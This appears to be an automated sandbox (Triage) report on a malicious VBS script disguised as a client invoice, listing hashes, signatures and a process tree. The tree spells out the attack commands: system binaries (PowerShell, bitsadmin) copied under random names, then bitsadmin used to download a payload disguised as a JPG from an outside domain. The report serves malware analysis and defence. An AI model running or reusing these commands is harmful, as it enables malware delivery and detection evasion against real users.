8142eca2250b41845205d1c4f29044bc6d242268b298a8f847b0df172b75cee7 | Triage

Analysis

max time kernel
117s
max time network
137s
platform
windows10_x64
resource
win10v200430
submitted
13-07-2020 07:26

Sharing

Report Analysis Logs

General

Target

Fatt_cliente_SNTMNL74M55F241X.vbs
Size

4KB
MD5

2eb8c68f27a7ff985757192027ce6319
SHA1

2ec0f7f295244a5db246edbb1091325038069fa8
SHA256

8142eca2250b41845205d1c4f29044bc6d242268b298a8f847b0df172b75cee7
SHA512

94519489cdf29f8c8d26021d71339e35e10419cd22f5aaba06a9a6969d73a36e1520d472be60520cb7da0ba95d902dc2fe79e5de4a469944565be16da479e123

Score

8^/10

Malware Config

Signatures

Suspicious use of WriteProcessMemory 7 IoCs

Processes:

WScript.exe

description	pid	process	target process
PID 2016 wrote to memory of 3660	2016	WScript.exe	cmd.exe
PID 2016 wrote to memory of 3660	2016	WScript.exe	cmd.exe
PID 2016 wrote to memory of 2700	2016	WScript.exe	cmd.exe
PID 2016 wrote to memory of 2700	2016	WScript.exe	cmd.exe
PID 2016 wrote to memory of 3708	2016	WScript.exe	fObzKOv.exe
PID 2016 wrote to memory of 3708	2016	WScript.exe	fObzKOv.exe
PID 2016 wrote to memory of 3708	2016	WScript.exe	fObzKOv.exe

Executes dropped EXE 1 IoCs

Processes:

fObzKOv.exe

pid process

3708 fObzKOv.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Fatt_cliente_SNTMNL74M55F241X.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:2016

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c copy /Z c:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Roaming\zfObzKOv.exe
2⤵
PID:3660

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c copy /Z c:\Windows\SysWOW64\bitsadmin.exe C:\Users\Admin\AppData\Roaming\fObzKOv.exe
2⤵
PID:2700

C:\Users\Admin\AppData\Roaming\fObzKOv.exe
"C:\Users\Admin\AppData\Roaming\fObzKOv.exe" /transfer AlOCkv /download https://mzgotech.com/temha/SNTMNL74M55F241X/map.jpg C:\Users\Admin\AppData\Roaming\map.jpg
2⤵
- Executes dropped EXE
PID:3708

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Roaming\fObzKOv.exe

Download Submit
C:\Users\Admin\AppData\Roaming\fObzKOv.exe

Download Submit
memory/2016-0-0x0000011908A10000-0x0000011908A14000-memory.dmp

Filesize
16KB

Download
memory/2700-2-0x0000000000000000-mapping.dmp

Download
memory/3660-1-0x0000000000000000-mapping.dmp

Download
memory/3708-4-0x0000000000000000-mapping.dmp

Download